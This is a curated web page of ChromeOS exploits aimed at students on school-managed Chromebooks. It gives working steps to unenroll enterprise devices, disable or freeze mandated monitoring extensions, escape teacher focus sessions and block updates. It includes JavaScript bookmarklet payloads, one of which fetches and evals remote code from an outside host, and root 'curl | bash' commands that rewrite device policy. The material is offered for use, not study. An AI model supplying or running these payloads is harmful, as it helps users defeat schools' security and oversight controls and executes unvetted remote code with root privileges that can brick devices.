This is a curated list of exploits for ChromeOS. It started with LTBEEF, and now there is more! Many of these exploits can destroy your computer if misused. So PLEASE, PLEASE make sure you follow these instructions very carefully!

Need help? Ask for help here!

Please use these only when you have permission, I (3kh0) do not condone the use of any exploits for illegal purposes!

Image Credit: LittleMissNyan

Thank you to all of the contributors! Yall really are pretty epic :D

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CryptoSmite Unenrollment

CryptoSmite is an exploit capable of completely unenrolling enterprise-managed Chromebooks. It was found by FWSmasher and released on March 9th, 2024.

This exploit has been patched since Chrome OS 120.

Finding Kernver

If you’re on v120 or higher, you need to downgrade in order to use CryptoSmite. To do this, you first need to check your kernver= in Recovery Mode.

  1. Boot into Recovery Mode
    • Hold ESC + Refresh + Power for 2 or 3 seconds.
    • You should be on an “Insert Recovery Media” or “Let’s step you through the recovery process” screen.
  2. Press TAB and look at the last digit of the kernver= line

Using CryptoSmite

  1. Download a SH1MMER Prebuilt image here: dl.darkn.bio
  2. Disable OS verification (blocked or not, doesn’t matter), and boot into the shim.
  3. Navigate to Payloads and navigate to CryptoSmite using the arrow keys, then press Enter.
  4. Type in Y then press enter, and it’ll automatically reboot upon completion.
  5. Proceed through the setup partially till you get to the Add Account Screen.
    • If you see an update prompt, reboot then press CTRL + ALT + E on the Wi-Fi screen.
      • This should allow skipping the update, or make it not appear at all.
  6. Powerwash the Chromebook at the “Add Account” screen. Afterwards, it’ll be fully unenrolled.

Further Reading

SH1MMER Unenrollment

SH1MMER is an exploit capable of completely unenrolling enterprise-managed Chromebooks. It was found by the Mercury Workshop team and was released on January, Friday the 13th, 2023.

Due to the detail this exploit requires, please check out the offical website: sh1mmer.me

This exploit has been patched since Chrome OS 111.


Mercury Workshop received a notice from Google™️ that they had to take down their builder and shims. Currently, it is being rehosted by multiple community members.

Further Reading

Hapara Focus Session Bypass

What is it?

An exploit that allows for access to sites outside of the Hapara Focus Session

How to use it?

You teacher may be able to still see your screen, but they won’t think you are doing anything wrong because of the focus session.


  1. create a bookmark named anything, head to the URL section, and paste this in it: data:text/html,<!DOCTYPE html> <html> <head> <title>full screen iframe</title> <style type="text/css"> html { overflow: auto; } html, body, div, iframe { margin: 0px; padding: 0px; height: 100%; border: none; } iframe { display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden; } </style> </head> <body> <iframe src="https://www.google.com.au" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="100%" scrolling="auto" id="google"> </iframe> </body> </html>
  2. when you are in a focus session, click the bookmark, and it will open a google tab. (If it says that it doesn’t work, then you can download the Iframe
  3. enjoy not having to listen to a lecture from your teacher! (Credit to Hero Link 6 For finding this exploit, you can find more info on his GitHub repository here.)

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GuardianTabCrash Unrestricted browsing

What is it?

An exploit that allows for unrestricted internet access outside of goguardian’s control

How to use it?

Teacher’s can still see your screen, but they can’t block or close any of your tabs.


  1. create a bookmark named anything: javascript: window.onbeforeunload = ()=>{return false;}
  2. Hold down CTRL and then SPAM CLICK the bookmark until you’re well above the tab limit, opening a bunch of about:blank pages.
  3. It might ask if you want to leave this page, this is goguardian trying to close it. Say No, and click Prevent from creating additional dialogues.
  4. Enjoy your unblocked stay!

Discovered by @py660

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Skiovox Unrestricted browsing

What is it?

An exploit that allows for browsing within a completely unblocked Chrome browser. It works on ChromeOS 118 and a wide range of previous versions.

How to use it

Bypassi made a wonderful slideshow for you goofballs to follow and view using any of the links below!

Further Reading

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LTBEEF Disable extensions

LTBEEF (Literally The Best Exploit Ever Found) is an exploit found by Bypassi (Bypassi#7037) in September 2022 and is a great way to disable spyware installed on your Chromebook by your school.

How to use LTBEEF

Use either of the two bookmarklets below. The instructions are the same for both.

  1. Copy the Javascript code from either of the two bookmarklets below
  2. Make a new bookmark on your Chromebook
  3. Put the Javascript code in the URL section of the bookmark
  4. Visit https://chrome.google.com/webstorex. (This is a 404 page, and that is ok.)
  5. If that page does not work, you can just change the end of the URL to anything else, like https://chrome.google.com/webstoreYAAAAAAAAAAAAAAAY
  6. Click on the bookmark you made
  7. Switch off the extensions you don’t want to have anymore.
  8. You’re done! The extension should now be disabled.

Please note that this exploit has been patched for quite some time


CompactCow GUI





javascript:(function () {var a = document.createElement('script');a.src = 'https://cdn.jsdelivr.net/gh/FogNetwork/Ingot/ingot.min.js';document.body.appendChild(a);}())

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LoMoH Disable extensions

Formerly named “Locked Mode Hack,” this Chrome OS exploit uses the locked mode feature to soft disable force-enabled extensions on managed accounts (Excluding Hapara Highlights and Read&Write if installed).

This exploit is patched in Chrome OS 111

Bookmarklet Version (Original and nicer)

javascript:(function(){if (location.hostname == "docs.google.com") {document.body.innerHTML = document.body.innerHTML.replace("Locked mode is on", "Are you ready to turn off extensions?%22);%20document.body.innerHTML%20=%20document.body.innerHTML.replace(%22You%20have%20already%20opened%20and%20closed%20this%20quiz.%20Opening%20this%20quiz%20again%20will%20notify%20the%20form%20owner%20by%20email.%22,%20%22This%20will%20reload%20all%20tabs%20in%20your%20browser%22);%20var%20button%20=%20document.getElementById(%27mG61Hd%27);%20button.innerHTML%20=%20button.innerHTML.replace(%22Start%20Quiz%22,%20%22Disable%20Extensions%22);%20button.addEventListener(%27click%27,%20function(event){window.close();})}%20else%20{window.open(%22https://docs.google.com/forms/u/0/d/e/1FAIpQLSf5EYwrSUjmQhBOasMpORZy80eBCYb7qCpEwWNoRPUGyObGMA/startquiz%22);}})()

Website/HTML Version (for blocked bookmarklets)

LoMoH HTML Additional Notes: You must create your link with the button on the page for locked mode to work within your organization/district. If this is patched for you, you will get rickrolled attempting to perform this exploit. This is just a heads-up for those who do happen to read this.

GitHub Repository

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LTMEAT Disable extensions

Literally The Meatiest Exploit of All Time

  1. Find a page belonging to the extension you want to disable. chrome://extensions, chrome://extensions-internals, and chrome://process-internals are all good places to find your extension’s ID (a 32-character lowercase string). You can also do a simple Google search. Once you have your ID, substitute it into the hostname in the URL below:

For some filters like Securly, the block screen is already an extension page.

  1. Bookmark the extension page (bookmark A) if you wish. Then, bookmark chrome://kill (B) and chrome://hang (C).
  2. On the extension page (A), click the chrome://kill bookmark (B). The page should crash. You should already have the next step prepared.
  3. Instantly start spamming chrome://hang (bookmark C) and quickly reload the page while spamming (ideally with the refresh key on your keyboard or ctrl+R). You should have reloaded within one or two seconds of killing the page.
  4. If the extension page (bookmark A) no longer loads, then LTMEAT worked! You can close your tabs, and the extension will be dead. If nothing loads, you probably reloaded too late or spammed too slowly. This isn’t rocket science! Restart your computer to revert back to normal.

Exploit made by Bypassi#7037, learn why this works.

“Help me! I’m an idiot!”

I had far too much faith in society when making this page. Some of you skids out there are really, really stupid and also can’t read. So here are the answers to some commonly asked questions.

How do I get an extension ID?

Okay, fair. Extension IDs are leaked in a couple of places. Generally, the best way to get them is to go to extension settings and copy the URL query value.

It says blocked by client?

That’s the message you get when you try to visit a page belonging to an extension that doesn’t exist. The error message (ERR_BLOCKED_BY_CLIENT) is highly misleading. Nobody blocked it. You need to find the correct extension ID (see above).

If you got this because you tried to visit the extension_id_here example URL, you should be extremely ashamed of yourself. Please change and grow as a person.

I don’t have a bookmarks bar!!!!

First, try running ctrl+shift+B. If that doesn’t work, go to chrome://settings and turn on the “home button” feature, then set it to chrome://hang. A home icon in the top left should appear to the right of your refresh icon. Use that instead of bookmark C.

There is a version where you don’t need bookmarklets, but I am currently gatekeeping it (L). Check this site daily to see if new alternate instructions have been posted.

I disabled an extension, but now I can’t load websites!

If you just read the write-up, you’d know this would happen if the extension’s background page loaded and its listeners were already initialized before you used chrome://hang. You can double-check whether the extension is listening using chrome://extensions-internals, assuming you have a few brain cells in your head.

Anyway, no listeners mean you were too slow. Either you waited more than three seconds between bookmark B and reloading the page, or you needed to be spamming bookmark C faster. The most reliable fix is to restart your computer and try again. Try to match the pace of the gif below: (note the reload)


The bookmarks don’t do anything when I click them!

Might be admin-blocked. Either be smart enough to figure out another way or check this site daily to see if new alternate instructions have been posted.

I disabled the extension. Why is some stuff still blocked?

I have bad news for you… not all filters are Chrome Extensions. Again, make sure the extension pages (like bookmark A) are frozen before you assume that your skiddy self successfully did the exploit.

Baby method for slow people

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LTMEAT Flood Freeze extensions

  1. Create a bookmark folder and paste the extension page many times. (About 800 minimum is recommended, assuming your Chromebook is average school quality) You should add the extension page at the beginning of the folder.
  2. Right-click and open all in a new window.
  3. Close the window with all those tabs.
  4. Open the folder in a new window again, and Chrome should hang those tabs to take care of the old ones in the background that were just closed. (Equivalent to the duplicate tab step in Bypassi’s method)
  5. Flip the Allow access to file URLs switch in the extension settings, and then you’ve bypassed the patch, and the exploit is working.

Close everything and you’re good to go. If it didn’t work, try adjusting the number of open tabs. This is the LTMEAT Flood Method, and also unofficially called Alternate Method # 2. Enjoy a much longer life of LTMEAT!

Not working? Ensure you open a large set, but not too large, of extension tabs (_/generated_background_page.html or /manifest.json) for a permanent freeze.

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Temp TMEAT Freeze extensions

A method of using LTMEAT that does not require chrome:// URLs. This works by using 80-150 tabs to soak up memory.

  1. Create a bookmark with the link chrome://extensions/?id=extension_id_here and name it Kill switch.
  2. Create a new bookmark folder. Name it spam.js. Next, paste this link into your browser: chrome-extension://extension_id_here/background.js
  3. Then right-click on your folder and hit Add Page. Press Enter.
  4. Right-click on the folder again and hit Bookmark Manager. You should see your page. Click on it and hit Ctrl+C. Press Ctrl+V until you have 38 of them.
  5. Go to a new tab and right-click your folder. Press Open All (38).
  6. Repeat step 3, then click on one of the tabs from this batch. Wait until the This page is taking too long popup appears. This will take 30-60 seconds. If it doesn’t, do chrome://restart and go back to step 2. Add 3-4 more pages to the folder.
  7. Once the popup happens, right-click on one of the tabs closest to the right of the screen and hit Duplicate. Then, go to your Kill switch bookmark and look for a switch to flip, Allow Access to File:// urls. Then, click on the leftmost extension tab (one that opened from the main.js folder) and click Close all tabs to the right. KEEP THIS TAB OPEN!!!

Tips: Go to chrome://settings/performance and turn Memory Saver off, and in the box where it says Keep these sites always active, paste in the extension URL. I’ve noticed clicking on one of the tabs from the second batch seems to help with reliability.

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Baby LTMEAT Freeze extensions


  1. Follow step one of the original instructions to find a page belonging to the Chrome extension you want to disable.
  2. Visit that chrome-extension://extension_id_here page, then type chrome://hang in the URL bar of that tab. It should start loading infinitely.
  3. Right-click the tab and duplicate it. Don’t close anything.
  4. Go to the chrome://extensions page for the blocker extension you want to Disable.
  5. If that page has any switch, such as Allow access to file URLs, click that switch. If you don’t see any clickable switches, this exploit will not work
  6. The extension should now be broken, assuming you clicked the switch! Only one of the two duplicate tabs should be left standing. You can close your tabs now.

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LTMEAT Print Freeze extensions

  1. Find your extension’s largest file. This can usually be found by using Rob Wu’s crxviewer
  2. Go to that page and run Ctrl+P. A print window should show up, with several pages in the top right.
  3. Do everything you can to increase that number. Shrink down margins, change layout to landscape, anything you can. The higher you get that number, the longer the effect will last.
  4. Reload. The page should start hanging.
  5. Go to your extension’s settings page, chrome://extensions.
  6. Duplicate your “printing” tab, and go back to your extension’s settings page.
  7. Flip any switch you can find there. Usually, there’ll be one titled Allow access to file URLs.

Where do I find my extension’s manifest.json?

First, find your extension’s ID. This is a 32-character code found on your extension’s settings page, normally near or at the top.

Where do I find my extension ID

Then go to chrome-extension://extension_id_here/manifest.json

Credit to Bypassi for the original LTMEAT framework, and to Swordmaster4321 for discovering that pages can be hung with printing.

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Dextensify Freeze extensions

Dextensify is an exploit that lets you disable most admin-installed Chrome extensions from any webpage. It can be used from regular websites, HTML files, and data URLs.

Go here and follow instructions: Dextensify Main HTML, or download the file here Dextensify.html

Download mirror: ftp.3kh0.net

Made by ading2210

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JPCMG LTBEEF w/ Service workers


  1. Go to chrome://serviceworker-internals
  2. Find your extension, this exploit will not work if you can’t find it. Some extensions will not work with this exploit.
  3. Hit the start button then the Inspect button, and execute the LTBEEF code

Screenshot example

Thanks to Nyaann#3881 for this exploit

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Corkey Corrupt extensions

Corkey does indeed include power washing the Chromebook, which wipes local data including everything under “My files,” so I suggest you select everything you want to drag and back up to Google Drive if that’s available for your account.

  1. Esc+Refresh+Power and re-enroll (Enter recovery page), or you can just powerwash.
  2. Log into your Chromebook and immediately turn off WiFi and do refresh+power to (instant restart)
  3. Log back into your Chromebook with the WiFi off. Look for an option to log in as an existing user and click that.
  4. Go to chrome://extensions, turn on WiFi, and wait for your school’s blocking extension to appear.
  5. As soon as it appears, turn off WiFi and restart as fast as possible.
  6. Log back in, go back to extensions, and wait. If it says your blocking extension could be corrupted or doesn’t appear at all, then it worked (wait at least a minute with a close watch in case it comes back)
  7. If it didn’t work, start over. You have to be fast.

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Extension Launcher Install extensions w/o allowlist

A bookmarklet capable of installing extensions, for those without an allowlist.


  1. Access to the Chrome Web Store
  2. A Chromebook without allowlist
  3. Bookmarklets enabled


  1. Go to ext-launcher-bookmarklet.js and save the code as a bookmarklet.
  2. Go to The Chrome Webstore and use the bookmarklet
  3. Then put the icon of the extension, the ID, and the name of it (This does not matter, you can put anything), then press download, and it will work.

Extra Notes

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Point-Blank Execute scripts on extension pages

This exploit allows you to execute scripts on extension pages, this is a great example of how Chromebooks are a piece of garbage.


  1. Bookmarklets enabled
  2. Access to a working brain

Getting started

  1. Go to newpointblank.js and save the code as a bookmarklet on your Chromebook.
  2. Now find your blocker from the list below.



Go to this page

If it says blocked by Chrome, reload (you have to actually have Securly ofc)


Go to this page

Cisco Umbrella

Go to this page


Go to this page


Go to this page

If your school updated GoGuardian, this exploit may not work.

Extra Notes

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UBoss Tamper with IBoss

This works only for iBoss, and Blocksi, If you don’t have one of these, use New Point Blank.


Getting started

  1. Go to the corresponding link for your blocker below.

iBoss: tinyurl.com/byeswamp

Blocksi: tinyurl.com/blockboss

Then bookmark the code below:

javascript:opener.eval(`fetch("https://rounded-boiling-flax.glitch.me/uboss.js").then(data=>{data.text().then(e=>{eval(e)})})`) && close();
  1. Then go to the site with your blocker that was listed above.
  2. Run the code. Follow the instructions there.

If it doesn’t work let us know by creating a discussion, this was made in partnership with akabutnice and bypassi.

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CAUB Prevent Updates

This exploit keeps your Chromebook downgraded (or on the current version) without automatic updates screwing you over. This exploit was found by Catakang#0987. Using onc files, you can convince your Chromebook that the WiFi that you’re connected to is pay-to-use (like a hotspot using data), and thus it will not check for updates.


Getting started

  1. Go to chrome://network#state.
  2. Scroll to the bottom of the page. You will see a list of WiFi that you have connected to before.
  3. Click the + sign next to the WiFi name of each network that you commonly connect your Chromebook to.
  4. We are going to make it so that when the Chromebook is connected to those networks, it will not check for updates.
  5. Use ctrl+a and ctrl+c to copy all the text on the entire network#state page.
  6. Go to caub.glitch.me.
  7. Paste the copied text into the textbox below.
  8. Press the generate onc button below the textbox.
  9. Once you have downloaded the file, go to chrome://network#general.
  10. Click on the import ONC button.
  11. Import the newly downloaded file.

Extra notes

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CAUB Flags Prevent Updates

This alt exploit keeps your Chromebook downgraded (or on the current version) without automatic updates screwing you over. This exploit was found by MechaXYZ. Using a Chrome flag, you can convince your Chromebook not to automatically update.


Getting started

  1. Go to chrome://flags#show-metered-toggle or search “metered” in chrome://flags instead.
  2. Enable it and restart your device.
  3. Open the Settings app.
  4. Go to your Network » Advanced » Show metered toggle and turn it on

Extra notes

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Blank3r is an exploit that allows you to run bookmarklets on privileged pages, such as the Chrome extensions page. This exploit was made with Point Blank as well.


Getting started

  1. Bookmark this code:
javascript:let shim = false;var ids = prompt("extension ids (comma separated)").split(",");setInterval(()=>{ids.forEach((id)=> opener.chrome.developerPrivate.updateExtensionConfiguration({extensionId: id, fileAccess: shim}));shim = !shim;}, 145);
  1. Navigate to chrome://extensions.
  2. Click on an extension that YOU installed from the Chrome Web Store > Details.
  3. In the URL bar, copy the string of letters and numbers after the /?id=.
  4. Click “View in Chrome Web Store” and spam the escape key. If it loads into Chrome Webstore try again, if it is a blank screen click the bookmarklet.
  5. Paste the ID of the extension into the prompt separated by commas.

If you close the tab, the exploit will stop working.

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Downgrading Change versions

Downgrading can be used for several exploits, to get to a version that does not have patches for certain exploits, such as LTBEEF, SH1MMER, or CryptoSmite. This is a built-in feature of ChromeOS.

Please do note that depending on your kernver= you may not be able to downgrade to certain versions. More info is at the Finding Kernver section.



  1. Navigate to chrome://version on the Chromebook you wish to downgrade. If that is blocked try chrome://system/:~:text=CHROMEOS_RELEASE_DESCRIPTION, and check for your board under Platform. For me, that would be octopus.


  1. Navigate to chrome100.dev , press ctrl+f and type in your board.
  2. Find and download the Chrome version you want to your personal computer.


  1. Install Chromebook Recovery Utility onto your personal computer.
  2. Open the extension, click on the settings button in the top right-hand corner, and click “Use local image”.
  3. Select the recovery image you downloaded from chrome100.
  4. Plug in the USB you wish to use, and follow the prompts on the screen.
  5. On your Chromebook, press esc+reload+power and follow the prompts.
  6. On the checking for updates screen or Wi-Fi selection screen, press ctrl+alt+e to skip the “checking for updates” screen.

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Pollen Policy Editor

chromeOS User Policy Editor


Getting started

There are two modes for this, I recommend just using the first one.


  1. Open Crosh (Ctrl+Alt+T)
  2. Run the following commands:
    sudo su
    curl -Ls https://mercuryworkshop.github.io/Pollen/Pollen.sh | bash
  3. Done! It may take a few seconds for the new policy to apply. If it does not apply, press alt+vol_up+x.

PollenFS (RootFS)

Disabling RootFS will Soft-Brick your Chromebook when booting back into normal mode.

  1. Open Crosh (Ctrl+Alt+T)
  2. Run the following commands:
    sudo su
    curl -Ls https://mercuryworkshop.github.io/Pollen/RootFS.sh | bash
  3. Reboot
  4. Go Through Steps 1-3 Again
  5. Run the following command:
    curl -Ls https://mercuryworkshop.github.io/Pollen/PollenFS.sh | bash
  6. Done! Your Pollen configuration is now permanently applied!

Further Reading

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Killcurly Break extensions

Kill the extension by signing out.

  1. Visit chrome://settings/signOut.
  2. Press the big blue button.
  3. Go to chrome://restart
  4. Now visit tinyurl.com/AddSession or this link
  5. Add your SCHOOL account back. It WILL NOT WORK if you add a home account back. This is just so you can still access Google Drive, YouTube, and any Google service.
  6. All extensions should stop working.
  7. Note that you must repeat this every time you restart or sign out.
  8. If your Chrome version is v112 or above, this exploit will no longer work, the bypass to this is listed further on.

Credit to Zoroark

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Shimboot Boot Linux

Shimboot is a collection of scripts for patching a Chrome OS RMA shim to serve as a bootloader for a standard Linux distribution. It allows you to boot a full desktop Debian install on a Chromebook, without needing to unenroll it or modify the firmware.

For more detailed information, please see the project’s README.

Credit to vk6 for this exploit

Further reading

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uBlock Run Run Code On Pages

If your school allows the uBlock Origin chrome extension, then running any bookmarklet is possible.


Getting started

  1. Make sure you have uBlock Origin installed.
  2. Go to the extension’s settings
  3. Under the settings tab, check the “I am an advanced user” box, then click on the small cog icon.
  4. Find userResourcesLocation and change it from unset to https://raw.githubusercontent.com/3kh0/ext-remover/main/ublockExec.js

  5. Goe My filters tab of the settings and add the following line:
  6. Now press ctr+alt+tilde (~) to run code on the current page
  7. Have fun!

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uRun - Bypass bookmarklet restrictions with uBlock

From Inglan2

Recently Google cracked down on bookmarklets and now they don’t work (Its based on the DeveloperToolsAvailability policy). I wanted to run scripts still so I started making this, inspired by uBlock Run Run Code On Pages, but with more features, like saving scripts.

  1. Open uBlock settings
  2. Enable advanced settings, and click the gear ⚙️ button


[!TIP] If you mess up, go to the home of settings and at the bottom click reset to default settings

  1. Add the script


    userResourcesLocation unset


    userResourcesLocation https://inglan2.github.io/uRun/urun.js

[!TIP] It’s down the bottom

  1. Set a filter to load uRun After closing the advanced settings tab, go to the filters tab and add this:


Simply press Ctrl + Shift + ` to open the menu and from there you can run and create scripts. To add a script, press the ➕ button up the top right, and enter the code you would like to add (without the javascript: part).

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Quick View Bypass extensions


QuickView is a universal webview exploit in Chrome OS that utilizes the QuickOffice component extension. This exploit lets you create login windows with arbitrary URLs, thus allowing you to load pages without any extensions.

Go to quickview-exploit.pages.dev and follow the instructions

Further reading

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Buypass Bypass extensions

What it can and can’t do

Getting started

Visit any of the links below:

Further reading

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Chaos Hapara bypass

Devtools must not be blocked by policy to perform this exploit.

Go to this link and follow instructions

Further Reading:

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SOT Exploit OneTab bypass

  1. Download this extension One Tab
  2. Click the import button in the settings tab.
  3. Copy-paste the URL you wish to visit about 100 times, and then click import.
  4. Spam click the top link, then either spam escape on one of them or wait for one to load on a about:blank page.

Credit to Coding4Hours

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GoGuardian GoAway GoGuardian bypass

No idea whatsoever how this went through


Getting Started

  1. Obviously (but still needs to be said due to skids), make sure GoGuardian is actually installed
  2. Visit the attached URL in a new tab
  3. On that tab there will be a simple white screen with nothing on it, reload the page
  4. If the GET request fails and you are left on an error screen (don’t panic, this is intended, continue)
  5. Visit chrome://restart` to clear cached sites from GoGuardian

Credit to akabutnice

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Microsoft Labs Virtualbox but it got 20 doses of the COVID Vaccine

This exploit cos removed in “The Great Reformatting of 2023” so I am gonna readd it!!! Thanks a bunch Bill Gates

Do this! Not drugs!

  1. Go to this website Microsoft Labs
  2. click that button thay say “Sign in to launch VM mode”
  3. Holy guacamole! You need a Microsoft Account! Use your credentials and sign in.
  4. Load the virtual machine by clicking the button or if you sign it it will redirect you to it automatically.
  5. The password is pass@word1
  6. Profit

NOTES: sound doesn’t work, a lot of websites are blocked, but its just fun to screw around in it.

(Not really) credit to mundaneunblocking

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